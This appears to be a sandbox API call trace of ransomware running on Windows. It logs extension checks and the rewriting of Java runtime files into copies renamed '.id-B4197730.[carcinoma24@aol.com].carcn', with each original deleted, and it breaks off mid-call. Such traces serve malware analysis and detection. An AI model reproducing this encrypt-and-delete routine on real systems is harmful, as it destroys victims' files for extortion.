lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0266.105] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar") returned 46 [0266.105] lstrlenW (lpString=".dbf") returned 4 [0266.105] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0266.105] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar") returned 46 [0266.105] lstrlenW (lpString=".1cd") returned 4 [0266.105] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0266.105] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar") returned 46 [0266.105] lstrlenW (lpString=".jpg") returned 4 [0266.105] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0266.105] lstrcmpiW (lpString1=".jfc", lpString2=".carcn") returned 1 [0266.105] lstrlenW (lpString="default.jfc") returned 11 [0266.105] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr\\default.jfc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0266.106] GetFileSizeEx (in: hFile=0x538, lpFileSize=0x3a7ff14 | out: lpFileSize=0x3a7ff14*=20109) returned 1 [0266.106] CloseHandle (hObject=0x538) returned 1 [0266.112] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr\\default.jfc")) returned 0x20 [0266.112] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr\\default.jfc.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0266.112] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr\\default.jfc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0266.112] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.112] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.113] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr\\default.jfc.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0266.115] GetLastError () returned 0x0 [0266.115] ReadFile (in: hFile=0x538, lpBuffer=0x409f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a7fecc, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesRead=0x3a7fecc*=0x4e8d, lpOverlapped=0x0) returned 1 [0266.258] WriteFile (in: hFile=0x54c, lpBuffer=0x409f020*, nNumberOfBytesToWrite=0x4e90, lpNumberOfBytesWritten=0x3a7fc94, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesWritten=0x3a7fc94*=0x4e90, lpOverlapped=0x0) returned 1 [0266.259] ReadFile (in: hFile=0x538, lpBuffer=0x409f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a7fecc, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesRead=0x3a7fecc*=0x0, lpOverlapped=0x0) returned 1 [0266.259] WriteFile (in: hFile=0x54c, lpBuffer=0x409f020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x3a7fc94, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesWritten=0x3a7fc94*=0xea, lpOverlapped=0x0) returned 1 [0266.259] SetEndOfFile (hFile=0x54c) returned 1 [0266.259] CloseHandle (hObject=0x54c) returned 1 [0266.264] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.264] SetEndOfFile (hFile=0x538) returned 1 [0266.267] CloseHandle (hObject=0x538) returned 1 [0266.268] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0266.268] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr\\default.jfc")) returned 1 [0266.269] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc") returned 54 [0266.269] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc") returned 54 [0266.269] lstrlenW (lpString=".doc") returned 4 [0266.269] lstrcmpiW (lpString1=".doc", lpString2=".jfc") returned -1 [0266.269] lstrlenW (lpString=".docx") returned 5 [0266.269] lstrcmpiW (lpString1=".docx", lpString2="t.jfc") returned -1 [0266.269] lstrlenW (lpString=".pdf") returned 4 [0266.269] lstrcmpiW (lpString1=".pdf", lpString2=".jfc") returned 1 [0266.269] lstrlenW (lpString=".xls") returned 4 [0266.269] lstrcmpiW (lpString1=".xls", lpString2=".jfc") returned 1 [0266.269] lstrlenW (lpString=".xlsx") returned 5 [0266.269] lstrcmpiW (lpString1=".xlsx", lpString2="t.jfc") returned -1 [0266.269] lstrlenW (lpString=".ppt") returned 4 [0266.270] lstrcmpiW (lpString1=".ppt", lpString2=".jfc") returned 1 [0266.270] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc") returned 54 [0266.270] lstrlenW (lpString=".zip") returned 4 [0266.270] lstrcmpiW (lpString1=".zip", lpString2=".jfc") returned 1 [0266.270] lstrlenW (lpString=".rar") returned 4 [0266.270] lstrcmpiW (lpString1=".rar", lpString2=".jfc") returned 1 [0266.270] lstrlenW (lpString=".bz2") returned 4 [0266.270] lstrcmpiW (lpString1=".bz2", lpString2=".jfc") returned -1 [0266.270] lstrlenW (lpString=".7z") returned 3 [0266.270] lstrcmpiW (lpString1=".7z", lpString2="jfc") returned -1 [0266.270] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc") returned 54 [0266.270] lstrlenW (lpString=".dbf") returned 4 [0266.270] lstrcmpiW (lpString1=".dbf", lpString2=".jfc") returned -1 [0266.270] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc") returned 54 [0266.270] lstrlenW (lpString=".1cd") returned 4 [0266.270] lstrcmpiW (lpString1=".1cd", lpString2=".jfc") returned -1 [0266.270] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc") returned 54 [0266.270] lstrlenW (lpString=".jpg") returned 4 [0266.270] lstrcmpiW (lpString1=".jpg", lpString2=".jfc") returned 1 [0266.270] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc") returned 54 [0266.270] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc") returned 54 [0266.270] lstrlenW (lpString=".doc") returned 4 [0266.270] lstrcmpiW (lpString1=".doc", lpString2=".jfc") returned -1 [0266.270] lstrlenW (lpString=".docx") returned 5 [0266.271] lstrcmpiW (lpString1=".docx", lpString2="t.jfc") returned -1 [0266.271] lstrlenW (lpString=".pdf") returned 4 [0266.271] lstrcmpiW (lpString1=".pdf", lpString2=".jfc") returned 1 [0266.271] lstrlenW (lpString=".xls") returned 4 [0266.271] lstrcmpiW (lpString1=".xls", lpString2=".jfc") returned 1 [0266.271] lstrlenW (lpString=".xlsx") returned 5 [0266.271] lstrcmpiW (lpString1=".xlsx", lpString2="t.jfc") returned -1 [0266.271] lstrlenW (lpString=".ppt") returned 4 [0266.271] lstrcmpiW (lpString1=".ppt", lpString2=".jfc") returned 1 [0266.271] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc") returned 54 [0266.271] lstrlenW (lpString=".zip") returned 4 [0266.271] lstrcmpiW (lpString1=".zip", lpString2=".jfc") returned 1 [0266.271] lstrlenW (lpString=".rar") returned 4 [0266.271] lstrcmpiW (lpString1=".rar", lpString2=".jfc") returned 1 [0266.271] lstrlenW (lpString=".bz2") returned 4 [0266.271] lstrcmpiW (lpString1=".bz2", lpString2=".jfc") returned -1 [0266.271] lstrlenW (lpString=".7z") returned 3 [0266.271] lstrcmpiW (lpString1=".7z", lpString2="jfc") returned -1 [0266.271] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc") returned 54 [0266.271] lstrlenW (lpString=".dbf") returned 4 [0266.271] lstrcmpiW (lpString1=".dbf", lpString2=".jfc") returned -1 [0266.271] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc") returned 54 [0266.271] lstrlenW (lpString=".1cd") returned 4 [0266.271] lstrcmpiW (lpString1=".1cd", lpString2=".jfc") returned -1 [0266.271] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc") returned 54 [0266.271] lstrlenW (lpString=".jpg") returned 4 [0266.272] lstrcmpiW (lpString1=".jpg", lpString2=".jfc") returned 1 [0266.272] lstrcmpiW (lpString1=".jfc", lpString2=".carcn") returned 1 [0266.272] lstrlenW (lpString="profile.jfc") returned 11 [0266.272] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr\\profile.jfc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0266.273] GetFileSizeEx (in: hFile=0x538, lpFileSize=0x3a7ff14 | out: lpFileSize=0x3a7ff14*=20065) returned 1 [0266.273] CloseHandle (hObject=0x538) returned 1 [0266.273] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr\\profile.jfc")) returned 0x20 [0266.273] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr\\profile.jfc.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0266.273] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr\\profile.jfc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0266.273] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.273] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.274] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr\\profile.jfc.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0266.278] GetLastError () returned 0x0 [0266.278] ReadFile (in: hFile=0x538, lpBuffer=0x409f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a7fecc, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesRead=0x3a7fecc*=0x4e61, lpOverlapped=0x0) returned 1 [0266.297] WriteFile (in: hFile=0x54c, lpBuffer=0x409f020*, nNumberOfBytesToWrite=0x4e70, lpNumberOfBytesWritten=0x3a7fc94, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesWritten=0x3a7fc94*=0x4e70, lpOverlapped=0x0) returned 1 [0266.298] ReadFile (in: hFile=0x538, lpBuffer=0x409f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a7fecc, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesRead=0x3a7fecc*=0x0, lpOverlapped=0x0) returned 1 [0266.298] WriteFile (in: hFile=0x54c, lpBuffer=0x409f020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x3a7fc94, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesWritten=0x3a7fc94*=0xea, lpOverlapped=0x0) returned 1 [0266.299] SetEndOfFile (hFile=0x54c) returned 1 [0266.299] CloseHandle (hObject=0x54c) returned 1 [0266.319] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.319] SetEndOfFile (hFile=0x538) returned 1 [0266.766] CloseHandle (hObject=0x538) returned 1 [0266.767] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0266.767] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr\\profile.jfc")) returned 1 [0266.769] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc") returned 54 [0266.769] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc") returned 54 [0266.769] lstrlenW (lpString=".doc") returned 4 [0266.769] lstrcmpiW (lpString1=".doc", lpString2=".jfc") returned -1 [0266.769] lstrlenW (lpString=".docx") returned 5 [0266.769] lstrcmpiW (lpString1=".docx", lpString2="e.jfc") returned -1 [0266.769] lstrlenW (lpString=".pdf") returned 4 [0266.769] lstrcmpiW (lpString1=".pdf", lpString2=".jfc") returned 1 [0266.769] lstrlenW (lpString=".xls") returned 4 [0266.769] lstrcmpiW (lpString1=".xls", lpString2=".jfc") returned 1 [0266.770] lstrlenW (lpString=".xlsx") returned 5 [0266.770] lstrcmpiW (lpString1=".xlsx", lpString2="e.jfc") returned -1 [0266.770] lstrlenW (lpString=".ppt") returned 4 [0266.770] lstrcmpiW (lpString1=".ppt", lpString2=".jfc") returned 1 [0266.770] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc") returned 54 [0266.770] lstrlenW (lpString=".zip") returned 4 [0266.770] lstrcmpiW (lpString1=".zip", lpString2=".jfc") returned 1 [0266.770] lstrlenW (lpString=".rar") returned 4 [0266.770] lstrcmpiW (lpString1=".rar", lpString2=".jfc") returned 1 [0266.770] lstrlenW (lpString=".bz2") returned 4 [0266.770] lstrcmpiW (lpString1=".bz2", lpString2=".jfc") returned -1 [0266.770] lstrlenW (lpString=".7z") returned 3 [0266.775] lstrcmpiW (lpString1=".7z", lpString2="jfc") returned -1 [0266.783] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc") returned 54 [0266.785] lstrlenW (lpString=".dbf") returned 4 [0266.785] lstrcmpiW (lpString1=".dbf", lpString2=".jfc") returned -1 [0266.785] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc") returned 54 [0266.785] lstrlenW (lpString=".1cd") returned 4 [0266.785] lstrcmpiW (lpString1=".1cd", lpString2=".jfc") returned -1 [0266.785] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc") returned 54 [0266.785] lstrlenW (lpString=".jpg") returned 4 [0266.785] lstrcmpiW (lpString1=".jpg", lpString2=".jfc") returned 1 [0266.785] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc") returned 54 [0266.785] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc") returned 54 [0266.785] lstrlenW (lpString=".doc") returned 4 [0266.785] lstrcmpiW (lpString1=".doc", lpString2=".jfc") returned -1 [0266.785] lstrlenW (lpString=".docx") returned 5 [0266.785] lstrcmpiW (lpString1=".docx", lpString2="e.jfc") returned -1 [0266.785] lstrlenW (lpString=".pdf") returned 4 [0266.785] lstrcmpiW (lpString1=".pdf", lpString2=".jfc") returned 1 [0266.785] lstrlenW (lpString=".xls") returned 4 [0266.785] lstrcmpiW (lpString1=".xls", lpString2=".jfc") returned 1 [0266.785] lstrlenW (lpString=".xlsx") returned 5 [0266.785] lstrcmpiW (lpString1=".xlsx", lpString2="e.jfc") returned -1 [0266.785] lstrlenW (lpString=".ppt") returned 4 [0266.785] lstrcmpiW (lpString1=".ppt", lpString2=".jfc") returned 1 [0266.786] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc") returned 54 [0266.786] lstrlenW (lpString=".zip") returned 4 [0266.786] lstrcmpiW (lpString1=".zip", lpString2=".jfc") returned 1 [0266.786] lstrlenW (lpString=".rar") returned 4 [0266.786] lstrcmpiW (lpString1=".rar", lpString2=".jfc") returned 1 [0266.786] lstrlenW (lpString=".bz2") returned 4 [0266.786] lstrcmpiW (lpString1=".bz2", lpString2=".jfc") returned -1 [0266.786] lstrlenW (lpString=".7z") returned 3 [0266.786] lstrcmpiW (lpString1=".7z", lpString2="jfc") returned -1 [0266.786] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc") returned 54 [0266.786] lstrlenW (lpString=".dbf") returned 4 [0266.786] lstrcmpiW (lpString1=".dbf", lpString2=".jfc") returned -1 [0266.786] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc") returned 54 [0266.786] lstrlenW (lpString=".1cd") returned 4 [0266.786] lstrcmpiW (lpString1=".1cd", lpString2=".jfc") returned -1 [0266.786] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc") returned 54 [0266.786] lstrlenW (lpString=".jpg") returned 4 [0266.786] lstrcmpiW (lpString1=".jpg", lpString2=".jfc") returned 1 [0266.788] lstrcmpiW (lpString1=".jar", lpString2=".carcn") returned 1 [0266.788] lstrlenW (lpString="jfxswt.jar") returned 10 [0266.788] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfxswt.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0266.789] GetFileSizeEx (in: hFile=0x538, lpFileSize=0x3a7ff14 | out: lpFileSize=0x3a7ff14*=33932) returned 1 [0266.789] CloseHandle (hObject=0x538) returned 1 [0266.789] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfxswt.jar")) returned 0x20 [0266.790] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfxswt.jar.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0266.790] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfxswt.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0266.791] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.791] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.791] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfxswt.jar.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530 [0266.792] GetLastError () returned 0x0 [0266.792] ReadFile (in: hFile=0x538, lpBuffer=0x409f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a7fecc, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesRead=0x3a7fecc*=0x848c, lpOverlapped=0x0) returned 1 [0266.823] WriteFile (in: hFile=0x530, lpBuffer=0x409f020*, nNumberOfBytesToWrite=0x8490, lpNumberOfBytesWritten=0x3a7fc94, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesWritten=0x3a7fc94*=0x8490, lpOverlapped=0x0) returned 1 [0266.825] ReadFile (in: hFile=0x538, lpBuffer=0x409f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a7fecc, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesRead=0x3a7fecc*=0x0, lpOverlapped=0x0) returned 1 [0266.825] WriteFile (in: hFile=0x530, lpBuffer=0x409f020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x3a7fc94, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesWritten=0x3a7fc94*=0xe8, lpOverlapped=0x0) returned 1 [0266.825] SetEndOfFile (hFile=0x530) returned 1 [0266.825] CloseHandle (hObject=0x530) returned 1 [0266.828] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.828] SetEndOfFile (hFile=0x538) returned 1 [0266.836] CloseHandle (hObject=0x538) returned 1 [0266.836] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0266.839] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfxswt.jar")) returned 1 [0266.840] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar") returned 49 [0266.840] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar") returned 49 [0266.840] lstrlenW (lpString=".doc") returned 4 [0266.840] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0266.840] lstrlenW (lpString=".docx") returned 5 [0266.840] lstrcmpiW (lpString1=".docx", lpString2="t.jar") returned -1 [0266.840] lstrlenW (lpString=".pdf") returned 4 [0266.840] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0266.840] lstrlenW (lpString=".xls") returned 4 [0266.840] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0266.840] lstrlenW (lpString=".xlsx") returned 5 [0266.840] lstrcmpiW (lpString1=".xlsx", lpString2="t.jar") returned -1 [0266.840] lstrlenW (lpString=".ppt") returned 4 [0266.841] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0266.841] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar") returned 49 [0266.841] lstrlenW (lpString=".zip") returned 4 [0266.841] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0266.841] lstrlenW (lpString=".rar") returned 4 [0266.841] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0266.841] lstrlenW (lpString=".bz2") returned 4 [0266.841] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0266.841] lstrlenW (lpString=".7z") returned 3 [0266.841] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0266.841] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar") returned 49 [0266.841] lstrlenW (lpString=".dbf") returned 4 [0266.841] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0266.841] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar") returned 49 [0266.841] lstrlenW (lpString=".1cd") returned 4 [0266.841] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0266.841] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar") returned 49 [0266.841] lstrlenW (lpString=".jpg") returned 4 [0266.841] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0266.841] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar") returned 49 [0266.841] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar") returned 49 [0266.841] lstrlenW (lpString=".doc") returned 4 [0266.841] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0266.842] lstrlenW (lpString=".docx") returned 5 [0266.842] lstrcmpiW (lpString1=".docx", lpString2="t.jar") returned -1 [0266.842] lstrlenW (lpString=".pdf") returned 4 [0266.842] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0266.842] lstrlenW (lpString=".xls") returned 4 [0266.842] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0266.842] lstrlenW (lpString=".xlsx") returned 5 [0266.842] lstrcmpiW (lpString1=".xlsx", lpString2="t.jar") returned -1 [0266.842] lstrlenW (lpString=".ppt") returned 4 [0266.842] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0266.842] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar") returned 49 [0266.842] lstrlenW (lpString=".zip") returned 4 [0266.842] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0266.842] lstrlenW (lpString=".rar") returned 4 [0266.842] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0266.842] lstrlenW (lpString=".bz2") returned 4 [0266.842] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0266.842] lstrlenW (lpString=".7z") returned 3 [0266.842] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0266.842] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar") returned 49 [0266.842] lstrlenW (lpString=".dbf") returned 4 [0266.842] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0266.842] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar") returned 49 [0266.842] lstrlenW (lpString=".1cd") returned 4 [0266.842] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0266.842] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar") returned 49 [0266.843] lstrlenW (lpString=".jpg") returned 4 [0266.843] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0266.843] lstrcmpiW (lpString1=".jar", lpString2=".carcn") returned 1 [0266.843] lstrlenW (lpString="jsse.jar") returned 8 [0266.843] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jsse.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0266.844] GetFileSizeEx (in: hFile=0x538, lpFileSize=0x3a7ff14 | out: lpFileSize=0x3a7ff14*=584576) returned 1 [0266.844] CloseHandle 